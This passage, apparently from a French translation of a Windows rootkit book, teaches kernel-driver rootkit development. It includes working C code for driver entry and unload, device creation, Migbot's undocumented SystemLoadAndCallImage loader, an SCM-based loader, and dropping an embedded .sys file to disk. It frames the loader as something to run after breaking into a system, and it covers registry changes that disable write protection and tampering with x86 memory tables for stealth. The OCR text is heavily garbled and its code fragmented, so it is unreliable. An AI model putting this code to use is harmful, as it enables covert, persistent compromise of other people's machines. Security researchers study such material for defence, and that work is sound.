complexes ce problme. Ce code devrait lui aussi figurer dans un ensemble spar de
fichiers :
/src/Registry Hider
La plupart des rootkits doivent tre relancs lorsque lordinateur cible redmarre. Un
attaquant inclurait ici un petit service servant lancer automatiquement le root- kit au
dmarrage de la machine. Faire en sorte quun rootkit dmarre en mme temps que son
hte est une tche ardue. La simple modification dune cl de registre peut permettre
cela, mais cette approche est facile dtecter. Aussi, certains dveloppeurs ont conu
des solutions complexes qui incluent des patchs du noyau sur disque et des
modifications du boot-loader :
/src/Boot Service
38 Rootkits
Les fichiers den-tte courants inclure contenant les dfinitions de types, les
numrations et les codes IOCTL (I/O Control) seront placs dans le rpertoire
suivant. Ces fichiers sont gnralement partags par tous les autres fichiers et mritent
donc un emplacement propre :
/inc
{
}
void cleanup_module(void)
{
}
Chapitre 2
Infiltration du noyau 39
Dans certains cas, comme avec les drivers pour Windows, le point dentre doit
enregistrer des callbacks (rappels) de fonctions. Le module ressemblerait alors ceci :
NTSTATUS DriverEntry( ... )
{
theDriver->DriverUnload = MyCleanupRoutine;
}
NTSTATUS MyCleanupRoutine()
{
}
Line routine de nettoyage nest pas toujours ncessaire, cest pourquoi elle est
optionnelle avec les drivers pour Windows. Elle est requise uniquement lorsque vous
prvoyez de dcharger le driver. Dans de nombreuses situations, un rootkit peut tre
plac dans un systme et y tre laiss sans quil soit ncessaire de le dcharger.
Toutefois, pendant le dveloppement, il peut tre utile de disposer dune telle routine
pour pouvoir charger plus facilement de nouvelles versions du rootkit mesure quil
volue. La plupart des exemples de rootkits disponibles sur root- kit.com incluent des
routines de dchargement1.
{
DbgPrint ( "Hello World!1'); return
STATUS_SUCCESS;
>
Plutt simple, nest-ce pas ? Lorsque vous chargez ce code dans le noyau, la directive
de debugging est envoye (voir la section "Journalisation des instructions de
debugging", plus loin dans ce chapitre, pour savoir comment capturer les messages de
debugging).
Notre rootkit se fonde sur plusieurs lments dcrits dans les sections suivantes.
40 Rootkits
Les fichiers
Vous crirez le code source de votre driver en C et donnerez votre nom de fichier
lextension .c. Pour dbuter votre projet, crez un rpertoire (par exemple C :
\myrootkit) et placez dedans un fichier mydriver. c. Copiez ensuite dans ce fichier le
code "Hello World!" du driver vu plus haut.
Vous aurez galement besoin dun fichier SOURCES et dun fichier MAKEFILE.
Le fichier SOURCES
SOURCES
TARGETNAME=MYDRIVER
TARGETPATH=0BJ
TARGETTYPE=DRIVER
S0URCES=mydriver.c
1. Des informations sur les DDK pour Windows sont disponibles sur www.microsoft.com/ddk.
Infiltration du noyau 41
Chapitre 2
TARGETTYPE
DRIVER.
La ligne SOURCES comprend typiquement une liste de fichiers. Pour utiliser plusieurs
lignes, il faut introduire une barre oblique inverse (\) la fin de chaque ligne, sauf la
dernire. Par exemple :
S0URCES= myfilel.c \
myfile2.c \
myfile3.c
INCLUDES
et spcifier plusieurs
INCLUDES= c:\my_includes \
..\..\inc \
c:\other_includes
Si des bibliothques doivent tre lies, il faut galement ajouter une variable
TARGETLIBS. Comme nous utilisons la bibliothque NDIS pour certains de nos drivers
de rootkit, la ligne pourrait ressembler ceci :
TARGETLIBS=$(BASEDIR)\lib\w2k\i386\ndis.lib
Ou ceci :
TARGETLIBS=$(DDK_LIB_PATH)\ndis.lib
42 Rootkits
Il se peut que vous deviez localiser le fichier ndis. lib sur votre systme et coder en dur
son chemin lorsque vous faites le build du driver NDIS. Pour des exemples, voyez le
Chapitre 9.
indique le rpertoire dinstallation du DDK et la variable $
(DDK_LIB_PATH), lemplacement par dfaut o les bibliothques sont installes. Le reste
du chemin peut diffrer selon votre systme et votre version de DDK.
La variable
$(BASEDIR)
Le fichier MAKEFILE
Rootkit.com
Vous trouverez un exemple de driver complet, avec les fichiers MAKEFILE
et SOURCES, dj cr pour vous l'adresse
www.rootkit.com/vault/hoglund/basic_1.zip.
Chapitre 2
Infiltration du noyau 43
La routine de dchargement
Lorsque vous crez le driver, un argument theDriverObject est pass la fonction
principale du driver. Cet argument pointe vers une structure de donnes qui contient
des pointeurs de fonctions, lun dentre eux tant la "routine de dchargement". Si nous
dfinissons ce pointeur, cela signifie que le driver peut tre dcharg de la mmoire. Si
nous ne le dfinissons pas, le driver pourra tre charg mais jamais dcharg. Il faudra
alors redmarrer la machine pour lliminer de la mmoire.
A mesure que nous dveloppons des fonctionnalits pour notre driver, nous aurons
souvent besoin de le charger et de le dcharger. Nous devrions donc dfinir la routine
de dchargement pour viter davoir redmarrer chaque fois que nous voulons tester
une nouvelle version du driver.
Dfinir cette routine na rien de difficile. Il faut dabord crer une fonction de
dchargement puis dfinir le pointeur :
// DRIVER DE BASE #include "ntddk.h"
// Ceci est la fonction de dchargement
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("OnUnload called\n");
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
DbgPrint("I loaded!");
// Initialise le pointeur vers la fonction de dchargement //
dans DriverObject.
theDriverObject->DriverUnload = OnUnload; return
STATUS_SUCCESS;
}
Nous pouvons prsent charger et dcharger le driver sans avoir redmarrer.
1. L'utilitaire InstDrv na pas t crit par des membres de rootkit.com mais est propos sur ce site par
commodit.
44 Rootkits
Figure 2.1
L'utilitaire InstDrv.
Rootkit.com
Vous trouverez une copie de l'utilitaire InstDrv l'adresse
www.rootkit.com/vault/hoglund/lnstDrv.zip.
En production, vous aurez certainement besoin dune meilleure mthode pour charger
votre driver, mais pour la phase de dveloppement cet utilitaire convient parfaitement.
Nous prsentons plus loin dans ce chapitre, la section "Chargement du rootkit", un
programme de dploiement adapt aux situations relles.
Infiltration du noyau 45
Chapitre 2
K.
|t H 3 ! A
& - * \ m ! e "i vf i
| Time
0 00000000
0 02770212
| Debuq Print
WE ARE ALIVE!
BHWIN: NewZwQuerySystemlnformationQ from Dbgview exe
2
3
4
5
0.02773872
0 05778639
0.05782159
0.30823554
0 30827130
0.52850544
0 52853868
0 55850283
0 55853831
0 67858652
0 67861586
0 67864184
0 67865162
6
7
8
9
10
11
12
13
14
Figure 2.2
DebugView capture la sortie d'un rootkit de niveau noyau.
46 Rootkits
>
Programm
e en mode
utilisateur
Furtivit
Les sections suivantes abordent des concepts importants relatifs aux drivers que vous
devez comprendre pour pouvoir concevoir un rootkit combinant des composants dans
les modes utilisateur et noyau.
Infiltration du noyau 47
Chapitre 2
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp,
IO_NO_INCREMENT ) ; return
STATUS_SUCCESS;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("OnUnload called\n");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{
int i;
theDriverObject->DriverUnload = OnUnload;
for(i=0;i< IRP_MJ_MAXIMUM_FUNCTION; i++ )
{
theDriverObject->MaiorFunction[i] = OnStubDispatch;
}
return STATUS_SUCCESS;
La Figure 2.4 montre le chemin que prennent les appels de fonctions en mode
utilisateur lorsquils sont routs vers le driver du noyau.
Figure 2.4
Routage des appels d'E/S par le biais de pointeurs de fonctions majeures.
48 Rootkits
Dans cet exemple, et comme illustr la Figure 2.4, les fonctions majeures, dsignes
par MJ (major fonction), sont stockes dans un tableau et leur emplacement est
renseign par les valeurs suivantes :
IRP_MJ_READ, IRP_MJ_WRITE et
IRP MJ DEVICE CONTROL. Ces valeurs sont dfinies pour pointer vers la fonction
OnStubDispatch, laquelle est une routine stub qui ne fait rien.
Dans un driver normal, nous crerions trs probablement une fonction spare pour
chaque fonction majeure. Supposez que nous voulions grer les vnements READ et
WRITE. Ces vnements sont dclenchs lorsquun programme utilisateur appelle la
fonction ReadFile ou WriteFile avec un handle sur le driver. Un driver plus complet
pourrait grer des fonctions additionnelles, comme la fermeture dun fichier ou lenvoi
dune commande IOCTL. Voici un exemple dun ensemble de pointeurs de fonctions
majeures :
DriverObject->MajorFunction[IRP_MJ_CREATE] = MyOpen; DriverObject>MajorFunction[IRP_MJ_CLOSE] = MyClose;
DriverObject->MajorFunction[IRP_MJ_READ] = MyRead; DriverObject>MajorFunction[IRP_MJ_WRITE] = MyWrite;
DriverObj ect->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyloControl;
Pour chaque fonction majeure ajoute, le driver doit spcifier la fonction invoquer. Il
pourrait par exemple contenir les fonctions suivantes :
NTSTATUS MyOpenfIN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
// Excute quelque chose
return STATUS_SUCCESS;
}
NTSTATUS MyClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
// Excute quelque chose
return STATUS_SUCCESS;
}
NTSTATUS MyRead(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
// Excute quelque chose
return STATUS_SUCCESS;
}
NTSTATUS MyWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
Infiltration du noyau 49
Chapitre 2
}
NTSTATUS MyIOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
PI0_STACK_L0CATI0N IrpSp;
ULONG FunctionCode;
IrpSp = IoGetCurrentlrpStackLocation(Irp);
FunctionCode=IrpSp->Parameters.DeviceloControl.IoControlCode;
switch (FunctionCode)
{
// Excute quelque chose
}
return STATUS_SUCCESS;
}
La Figure 2.5 illustre comment les appels mis par un programme utilisateur sont
routs par le biais du tableau de fonctions majeures vers les fonctions dfinies dans le
driver : MyRead, MyWrite et MylOCTL.
Figure 2.5
Le driver peut dfinir des fonctions de callback spcifiques pour chaque type de "fonction majeure
Maintenant que vous comprenez de quelle manire les appels en mode utilisateur sont
traduits en appels de fonctions dans le driver du noyau, nous allons dcrire comment
exposer celui-ci au mode utilisateur laide dobjets fichier.
50 Rootkits
{
NTSTATUS rtStatus;
UNICODE_STRING deviceNameUnicodeString;
// Dfinit le nom et le lien symbolique
RtlInitUnicodeStning (&deviceNameUnicodeString,
deviceNameBuffer );
// Dfinit le priphrique //
ntStatus = IoCreateDevice ( DriverObject,
0, // Pour l'extension du driver
&deviceNameUnicodeString,
0x00001234,
0,
TRUE,
&g_RootkitDevice );
Le prfixe L indique de dfinir la chane au format Unicode, ce qui est requis pour
lappel APL Aprs que le priphrique a t cr, un programme utilisateur peut
louvrir de la mme manire quun fichier :
hDevice = CreateFile("\\\\Device\\MyDevice,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
Chapitre 2
Infiltration du noyau 51
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if ( hDevice == ((HANDLE)-1) ) return FALSE;
Une fois le handle de fichier ouvert, il peut servir de paramtre dans des fonctions en
mode utilisateur telles que ReadFile et WriteFile. Il peut aussi tre utilis pour
effectuer des appels IOCTL. Ces oprations provoquent la gnration dIRP qui
peuvent tre grs dans le driver.
Les handles de fichiers sont aiss ouvrir et utiliser partir du mode utilisateur.
Nous allons voir prsent comment les rendre encore plus faciles utiliser au moyen
de liens symboliques.
)
{
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
// Dfinit le nom et le lien symbolique
RtlInitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer );
// Dfinit le priphrique
//
ntStatus = IoCreateDevice ( DriverOb]ect,
0, // Pour l'extension du driver
&deviceNameUnicodeString,
52 Rootkits
FILE_DEVICE_ROOTKIT,
0,
TRUE,
&g_RootkitDevice );
if( NT_SUCCESS(ntStatus)) {
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
&deviceNameUnicodeString );
);
if ( hDevice == ((HANDLE)-1) )
return FALSE;
Chargement du rootkit
Vous aurez invitablement besoin de charger le driver partir dun programme
utilisateur. Par exemple, si vous pntrez dans un systme informatique, vous voudrez
y copier un programme de dploiement, lexcuter et charger le rootkit dans le noyau.
Un programme de chargement (loader) dcompresse gnralement une copie du
fichier . sys sur le disque dur puis met des commandes pour le charger dans le noyau.
Bien entendu, pour toutes ces oprations, il doit sexcuter avec des droits
dadministrateur1.
Il existe de nombreuses faons de charger un driver dans le noyau. Nous abordons ici
deux mthodes, lune rapide mais pas idale, et lautre recommande.
1. Ou en tant que NT_AUTHORITY/SYSTEM, selon le systme sur lequel vous vous introduisez.
Chapitre 2
Infiltration du noyau 53
Approche rapide
A laide dun appel API non document, vous pouvez charger un driver dans le noyau
sans avoir crer de cls de registre. Le problme est que le driver est alors paginable,
cest--dire que la mmoire quil occupe peut tre transfre sur disque. Nimporte
quelle portion du driver peut tre pagine. Lorsquune section de mmoire est pagine,
il arrive parfois quelle soit inaccessible. Dans ce cas, une tentative daccs cette
portion donnera lieu au fameux cran bleu de Windows (un plantage du systme). La
seule faon demployer de manire scurise cette mthode de chargement est de
pallier le problme de pagination par une conception spcifique.
Un exemple de rootkit efficace et trs simple qui emploie cette approche est Migbot (il
est disponible sur rootkit.com). Il copie tout le code oprationnel dans un pool de
mmoire non paginable de sorte que son fonctionnement ne soit pas affect si le driver
est transfr sur disque.
Rootkit.com
Le code source de Migbot est tlchargeable ladresse
www.rootkit.com/vault/hoglund/migbot.zip.
Cette mthode de chargement porte gnralement le mme nom que lappel API non
document, savoir SYSTEM LOAD AND CALL IMAGE. Voici le code de chargement de
Migbot :
// ----------------------------------------------------------// Charge un fichier .sys en tant que driver au moyen //
d'une mthode non documente.
// ------------------------------------------------------bool load_sysfile()
{
SYSTEM_LOAD_AND_CALL_IMAGE Gregslmage;
WCHAR daPath[] = L"\\??\\C:\\MIGBOT.SYS";
//////////////////////////////////////////////////////////////
// Rcupre le point d'entre de la DLL
///////////////////////////////////////////////////////
/ / / / / / / if(!(RtlInitUnicodeString = (RTLINITUNICODESTRING)
GetProcAddress( GetModuleHandle(ntdll.dll")
,"RtlInitUnicodeString"
)))
54 Rootkits
{
retunn false;
}
if(!(ZwSetSystemlnformation = (ZWSETSYSTEMINFORMATION)
GetProcAddress(
GetModuleHandle("ntdll.dll")
,"ZwSetSystemlnformation" )))
{
retunn false;
}
RtllnitUnicodeString(&(GregsImage.ModuleName), daPath);
if(!NT_SUCCESS(
ZwSetSystemlnformation(SystemLoadAndCallImage,
&GregsImage,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE))))
{
return false;
}
return true;
}
Ce code est excut partir du mode utilisateur et sattend ce que le fichier .
C: \migbot. sys.
sys
soit
Approche recommande
La mthode tablie et correcte pour charger un driver consiste utiliser le gestionnaire
SCM (Service Control Manager), lequel entrane la cration de cls de registre. Avec
cette approche, le driver nest pas paginable, ce qui signifie que vos fonctions de
callback, vos fonctions de gestion des IRP et tout autre code important ne risquent pas
dtre pagins et ne causeront donc pas dcran bleu, ce qui est prfrable.
Lexemple de code suivant permet de charger nimporte quel driver daprs son nom
via SCM. Il enregistre dabord le driver puis le lance. Vous pouvez reprendre ce code
dans votre programme de chargement si vous le souhaitez :
bool _util_load_sysfile(char *theDriverName)
{
Chapitre 2
Infiltration du noyau 55
char aPath[1024];
char aCurrentDirectory[515];
SCJHANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (
! s h )
{
return false;
}
GetCurrentDirectory( 5 1 2 , aCurrentDirectory) ;
_snprintf(aPath,
1022,
"%s\\%s.sys",
aCurrentDirectory,
theDriverName) ;
printf("loading %s\n", aPath);
SC_HANDLE rh = CreateService(sh,
theDriverName,
theDriverName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
aPath,
NULL,
NULL,
NULL,
NULL,
NULL);
if ( ! rh)
{
if (GetLastError() == ERROR_SERVICE_EXISTS)
{
// Le service existe
rh = OpenService(sh,
theDriverName,
SERVICE_ALL_ACCESS);
if(!rh)
{
CloseServiceHandle(sh);
return false;
}
}
else
{
CloseServiceHandle(sh) ;
return false;
}
}
// Dmarre les drivers if(rh)
{
if(0 == StartService(rh, 0, NULL))
56 Rootkits
{
if(ERROR_SERVICE_ALREADY_RUNNING == GetLastError())
{
I l Pas de rel problme
}
else
{
CloseServiceHandle(sh);
CloseServiceHandle(rh);
return false;
}
}
CloseServiceHandle(sh);
CloseServiceHandle(rh);
}
return true;
}
Vous disposez prsent de deux mthodes pour charger votre driver ou rootkit dans la
mmoire du noyau. Toute la puissance du systme dexploitation est maintenant entre
vos mains !
La section suivante dcrit comment utiliser un seul fichier, une fois que vous avez
accs un systme, pour contenir la fois la portion utilisateur et la portion noyau du
rootkit. Le fait demployer un seul fichier au lieu de deux permet de laisser moins de
traces sur le systme de fichiers ou lors de la traverse du rseau.
Dcompression du fichier . s y s
Chapitre 2
Infiltration du noyau 57
{
HRSRC aResourceH;
HGLOBAL
aResourceHGlobal;
unsigned char * aFilePtr;
unsigned long aFileSize;
HANDLE file_handle;
{
return false;
}
Ltape suivante consiste invoquer LoadResource qui retourne un handle que nous
utiliserons dans des appels subsquents :
aResourceHGlobal = LoadResource(NULL, aResourceH); if(!aResourceHGlobal)
{
return false;
}
En invoquant SizeOf Resource, nous obtenons la longueur du fichier imbriqu :
aFileSize = SizeofResource(NULL, aResourceH);
aFilePtr = (unsigned char *)LockResource(aResourceHGlobal);
if(!aFilePtr)
{
return false;
}
La boucle suivante copie simplement le fichier imbriqu dans un fichier sur le disque
dur, en utilisant le nom de la ressource comme nom de fichier. En supposant
58 Rootkits
que la ressource se nomme "test", le fichier rsultant sappellerait Test. sys. Ainsi,
une ressource imbrique peut devenir un driver :
char _filename[64];
snprintf(_filename, 62, "%s.sys", theResourceName);
file_handle = CreateFileffilename,
FILE_ALL_ACCESS,
0,
NULL,
CREATE_ALWAYS,
0
NULL);
if(INVALID_HANDLE_VALUE == file_handle)
{
int err = GetLastError();
if( (ERROR_ALREADY_EXISTS == err) || (32 == err))
{
// Pas d'inquitude, le fichier existe et
// peut tre verrouill en raison de l'excutable.
return true;
>
printf("%s decompress error %d\n", _filename, err);
return false;
}
// Boucle while pour crire la ressource sur disque while(aFileSize--)
{
unsigned long numWritten;
WriteFile(file_handle, aFilePtr, 1, &numWritten, NULL); aFilePtr++;
}
CloseHandle(file_handle); return true;
}
Aprs quun fichier . sys a t dcompress sur disque, il peut tre charg laide
dune des deux mthodes de chargement de rootkit vues prcdemment. Nous allons
maintenant aborder quelques stratgies permettant de charger un rootkit lors du
dmarrage.
Infiltration du noyau 59
Chapitre 2
60 Rootkits
Modification du boot-loader
Cette liste nest en aucun cas exhaustive, et il existe de nombreuses autres mthodes de
chargement au dmarrage. Avec un peu de crativit et de temps, vous devriez pouvoir
en dcouvrir dautres.
En conclusion
Ce chapitre a couvert les notions fondamentales du dveloppement de drivers pour
Windows. Nous avons dcrit certaines des zones cls du noyau pouvant tre cibles.
Nous avons expliqu en dtail comment configurer lenvironnement de dveloppement
et les outils requis pour faciliter llaboration du rootkit. Nous avons expos les
exigences de base lies au chargement, au dchargement et au lancement dun
Chapitre 2
Infiltration du noyau 61
driver. Et nous avons voqu les mthodes de dploiement dun driver et comment le
charger au dmarrage du systme.
Les sujets traits dans ce chapitre sont essentiels afin de pouvoir crire des root- kits
pour Windows. A ce stade, vous devriez tre capable dcrire un simple rootkit "Hello
World!", le charger dans le noyau et le dcharger. Vous devriez aussi pouvoir crire un
programme en mode utilisateur pouvant communiquer avec un driver en mode noyau.
Dans les chapitres suivants, nous explorerons plus avant les rouages du noyau et le
matriel sous-jacent qui soutient tous les programmes. En commenant par les
structures de bas niveau, vous acquerrez la comprhension correcte qui vous permettra
dassimiler et de synthtiser les connaissances relatives aux lments des niveaux
suprieurs. Cest ainsi que vous deviendrez un matre des rootkits.
Le niveau matriel
Un anneau pour les gouverner tous, un anneau pour les trouver, un
anneau pour les amener tous et dans les tnbres les lier.
- Le Seigneur des Anneaux, J. R. R. Tolkien
64 Rootkits
Au final, tous les contrles daccs sont implments au niveau matriel. Par exemple,
le principe de sparation des processus est appliqu au moyen danneaux dans
larchitecture du microprocesseur Intel x86. Si les processeurs Intel ne possdaient pas
de mcanismes de contrle daccs la mmoire, ce serait considrer tous les logiciels
actifs sur un systme comme tant fiables. Un programme fautif qui planterait, par
exemple, aurait alors le potentiel dentraner dans sa chute tout le systme. Tout
programme pourrait aussi accder en lecture/criture au matriel ou nimporte quel
fichier ou mme modifier lespace mmoire dun autre processus. Ce sont des
problmes qui peuvent mme vous sembler familiers, nest-ce pas ? Mme si les
processeurs Intel taient dj dots depuis de nombreuses annes de fonctionnalits de
scurit, Microsoft nen a pas tir parti avant lintroduction de son systme
dexploitation Windows NT.
Dans ce chapitre, nous tudierons les mcanismes matriels qui sous-tendent la
scurit des accs mmoire dans lenvironnement Windows. Nous commencerons par
les mcanismes de contrle daccs disponibles dans la famille de processeurs x86.
Nous verrons ensuite de quelle manire ceux-ci grent lensemble des activits au
moyen de tables de rfrence. Nous traiterons galement des registres de contrle et,
plus yimportant encore, de la faon dont les pages mmoire fonctionnent.
Anneau zro
La famille de CPU x86 dIntel emploie un concept d'anneaux pour assurer le contrle
des accs la mmoire, numrots de 0 3, o le numro le plus faible confre les
droits les plus levs. Ces anneaux sont reprsents en interne par un nombre car les
processeurs ne possdent pas rellement danneaux physiques.
Tout le code du noyau Windows opre dans lanneau 0. Par consquent, les rootkits en
mode noyau sont aussi actifs ce niveau. Les programmes en mode utilisateur, cest-dire ne sexcutant pas dans le noyau (tel votre tableur prfr), sont dits fonctionner
dans lanneau 3. Beaucoup de systmes dexploitation tournant sur les processeurs
x86, y compris Windows et Linux, ne tirent parti que des anneaux 0 et 3 et
nemploient donc pas les anneaux 1 et 2 1.
Le processeur se charge de suivre le niveau de privilge accord chaque programme
et la mmoire associe et de faire respecter les restrictions daccs
1. Bien que les anneaux 1 et 2 puissent tre utiliss, larchitecture du systme Windows ne les requiert pas.
Le niveau matriel 65
Chapitre 3
Figure 3.1
Les anneaux des
processeurs
Intel x86.
Program
rr
utilisate
ur
Programm
es
de noyau
'
66 Rootkits
CLI.
STI.
Maintenant que vous savez comment un processeur assure le contrle des accs la
mmoire, examinons comment il gre certaines donnes importantes.
Chapitre 3
Le niveau matriel 67
processeur a besoin pour effectuer cette recherche est ladresse de base de chaque table
en mmoire.
Il existe plusieurs tables importantes :
H la table globale de descripteurs, ou GDT (Global Descriptor Table), pour le
mapping (mise en correspondance) dadresses ;
a les tables locales de descripteurs, ou LDT (Local Descriptor Table), pour le mapping
dadresses ;
le rpertoire de (tables de) pages mmoire {Page Directory), pour le mapping
dadresses ;
B la table de descripteurs dinterruptions, ou IDT (Interrupt Descriptor Table), pour
localiser les gestionnaires dinterruptions.
Outre ces tables, il existe dautres tables gres directement par le systme
dexploitation. Etant donn quelles ne sont pas directement supportes par le
processeur, le systme dexploitation fait appel des fonctions spciales pour les
grer. Une table importante est par exemplela table de distribution des services
systme, ou SSDT {System Service Dispatch Table), que Windows utilise pour traiter
les appels systme.
Ces tables sont employes de diverses faons que nous aurons loccasion dexplorer
dans les sections suivantes. Nous verrons aussi de quelle faon un dveloppeur de
rootkit peut les modifier pour prserver sa furtivit ou intercepter des donnes.
Pages mmoire
Tout lespace mmoire est divis en pages, linstar dun livre. Chaque page ne peut
contenir quun certain nombre de caractres. Chaque processus utilise une table
distincte pour localiser ces pages mmoire.
Imaginez que la mmoire soit comme une bibliothque gante o chaque processus
possde son propre catalogue de rfrence, une table particulire qui lui donne une
"vue" de la mmoire unique et diffrente de celle de chaque autre processus. Ainsi,
deux processus peuvent lire une mme adresse dite virtuelle, par exemple 0x00401122,
et obtenir des valeurs diffrentes situes des adresses physiques diffrentes.
68 Rootkits
Les pages mmoire font lobjet dun contrle daccs. En poursuivant avec la mme
analogie, imaginez que le processeur soit un bibliothcaire autoritaire qui autorise
chaque processus ne lire que quelques livres de la bibliothque. Pour lire ou crire
dans une portion de la mmoire, un processus doit dabord trouver le "livre" correct,
puis la "page" exacte de la portion en question. Si le processeur napprouve pas le livre
ou la page demands, laccs est refus.
La procdure de recherche dune page est longue et complexe, et un contrle daccs
est appliqu aux diffrentes tapes de la procdure. Le processeur vrifie si un
processus peut accder un certain livre (le contrle du descripteur), sil peut accder
un certain chapitre (le contrle du rpertoire de pages) et finalement sil peut
accder une certaine page du chapitre (le contrle de page).
Un processus devra passer tous ces contrles de scurit avant dtre autoris accder
une page mmoire et, mme sil y parvient, la page peut aussi tre marque en
lecture seule. Le processus pourra alors lire la page, mais pas y crire. Cest de cette
manire que lintgrit des donnes est prserve.
Les dveloppeurs de rootkit se comportent tels des vandales dans la bibliothque,
gribouillant partout. Il est donc important dapprofondir vos connaissances sur
laltration des mcanismes de contrle daccs.
Le niveau matriel 69
Chapitre 3
-DPL-A-t.tr i butes
GDTbase=80036000 Limit=03FF
0008 Code32
00000000 FFFFFFFF
0010 Data32
00000000 FFFFFFFF
001B Code32
00000000 FFFFFFFF
00Z3 Data32
00000000 FFFFFFFF
802A9000 000020AB
0028 TSS32
0030 Data32
FFDFF000 00001FFF
003 B Data32
00000000 00000FFF
0043B Datal6
00000400 0000FFFF
Figure 3.2
La GDT sous Windows 2000.
0
0
3
3
0
0
3
3
P
P
P
P
P
P
P
P
RE
RW
RE
RW
B
RW
RW
RW
70 Rootkits
Le niveau matriel 71
Chapitre 3
0x01 EE2F10
registre EAX
et cest la valeur rsidant sur cet emplacement qui sera place dans
(voir Figure 3.3).
le
0x01EE2F10
Figure 3.3
Traduction d'adresse pour une instruction mov.
72 Rootkits
Figure 3.4
Trouver une page dans la mmoire.
31 22
21 12
11 0
Index de rpertoire
de pages (1 024
valeurs possibles)
Index de table de
pages (1 024
valeurs
possibles)
Emplacement
dans la page (4
096 valeurs
possibles)
Figure 3.5
Les diffrentes parties d'une adresse virtuelle1.
1. Si la page est marque en tant que page de 4 Mo, les bits 22-31 spcifient ladresse de base de la page
physique, et les bits 0-21 indiquent loffset au sein de la page.
Chapitre 3
Le niveau matriel 73
Les tapes suivantes sont ralises par le systme dexploitation et le processeur lors
de la traduction dune adresse virtuelle en adresse physique :
H
Ladresse virtuelle est divise en trois parties, comme nous lavons vu la Figure
3.5.
S Les 10 derniers bits (de poids fort) sont utiliss pour trouver lentre de rpertoire de
tables de pages voulue (voir Figure 3.4).
H Lentre de rpertoire lue donne lemplacement de la table de pages requise en
mmoire.
B Les 10 bits de la portion centrale de ladresse virtuelle sont utiliss pour trouver
74 Rootkits
31 12
11 9
P
S
P
C
D
P
W
T
Figure 3.6
Une entre du rpertoire de pages.
31 12
Adresse de base d'une
page
11 9
8 7
0 0
S
P
C
D
P
W
T
Figure 3.7
Une entre d'une table de pages1.
Chapitre 3
Le niveau matriel 75
Pour dsactiver la configuration prvue, changez les cls suivantes (la premire de ces
deux cls nexistant pas aprs une installation XP initiale, vous devrez lajouter vousmme) et redmarrez le systme1 :
HKLM\SYSTEM\CurrentControlSet\Controi\Session
>EnforceWriteProtection = 0
HKLM\SYSTEM\CurrentControlSet\Control\Session
DisablePagingExecutive = 1
Manager\Memory
Management\
Manager\Memory
Management\
Bien sr, mme si ces cls ne sont pas changes, elles ne constituent pas une protection
contre les rootkits puisquils peuvent directement modifier les tables ou utiliser la
technique CR pour activer ou dsactiver la vole les restrictions daccs.
76 Rootkits
Il faut savoir que, mme excut dans lanneau 0, un processus possde un contexte
actif. Ce contexte inclut ltat de la machine pour le processus (tels les registres
sauvegards), son environnement, son jeton de scurit (security token), ainsi que
dautres paramtres. Pour notre explication, llment important de ce contexte est le
registre CR3, qui renvoie au rpertoire de pages. Un dveloppeur de rootkit peut tirer
parti du fait que les modifications apportes aux tables de pages dun processus
influent non seulement sur le processus en mode utilisateur mais aussi sur le noyau
chaque fois que le processus se trouve en contexte, afin dappliquer certaines
techniques de furtivit avances.
Processus et threads
Un dveloppeur de rootkit doit comprendre que le mcanisme qui permet de grer le
code excut est le thread et non le processus. Le noyau de Windows planifie les
processus en se fondant sur le nombre de threads et non sur celui des processus.
Imaginez par exemple deux processus, un monothread et un autre avec neuf threads, et
que le systme attribue chaque thread 10 % du temps processeur. Le processus
monothread recevra 10 % du temps et lautre processus en recevra 90 %. Cet exemple
nest pas rel, bien sr, puisque dautres facteurs, telle la priorit, sont aussi pris en
compte lors de la planification dexcution (scheduling). Toujours est-il que, en
supposant que tous les autres facteurs soient identiques, la planification se fonde
entirement sur le nombre de threads et non sur celui des processus.
Quest-ce quun processus ? Sous Windows, un processus est un moyen simple de
grouper des threads pour quils puissent partager les lments suivants :
B lespace dadresses virtuelles (cest--dire la valeur utilise pour CR3) ;
le jeton daccs, dont le SID1 ;
la table de handles pour les objets Win32 du noyau ;
H le contexte de travail (la mmoire physique que "possde" le processus).
1. Un thread peut avoir son propre jeton daccs qui, sil est prsent, se substitue celui du processus.
Chapitre 3
Le niveau matriel 77
Les rootkits doivent travailler avec des threads et leurs structures, pour diverses
raisons, dont la furtivit et linjection de code. Plutt que crer de nouveaux processus,
ils doivent crer de nouveaux threads et les assigner un processus existant. Il est rare
quun nouveau processus soit cr.
Lors dun changement de contexte vers un nouveau thread, ltat du thread prcdent
est mmoris. Chaque thread possde sa propre pile de noyau sur laquelle est plac son
tat. Si le nouveau thread appartient un autre processus, ladresse du rpertoire de
pages du nouveau processus est charge dans CR3. Elle peut tre obtenue dans la
structure KPROCESS du processus. Lorsque la pile de noyau du nouveau thread est
identifie, le nouveau contexte est lu de la pile et le thread peut commencer son
excution. Si un rootkit modifie les tables de pages du processus, les altrations
sappliqueront tous les threads du processus car ceux-ci partagent tous la mme
valeur CR3.
Nous examinerons plus en dtail le sujet des threads et des processus au Chapitre 7.
78
Root kits
Chapitre 3
Le niveau matriel 79
bas niveau dans un ordinateur. Par exemple, lorsquune touche du clavier est presse,
une interruption est dclenche.
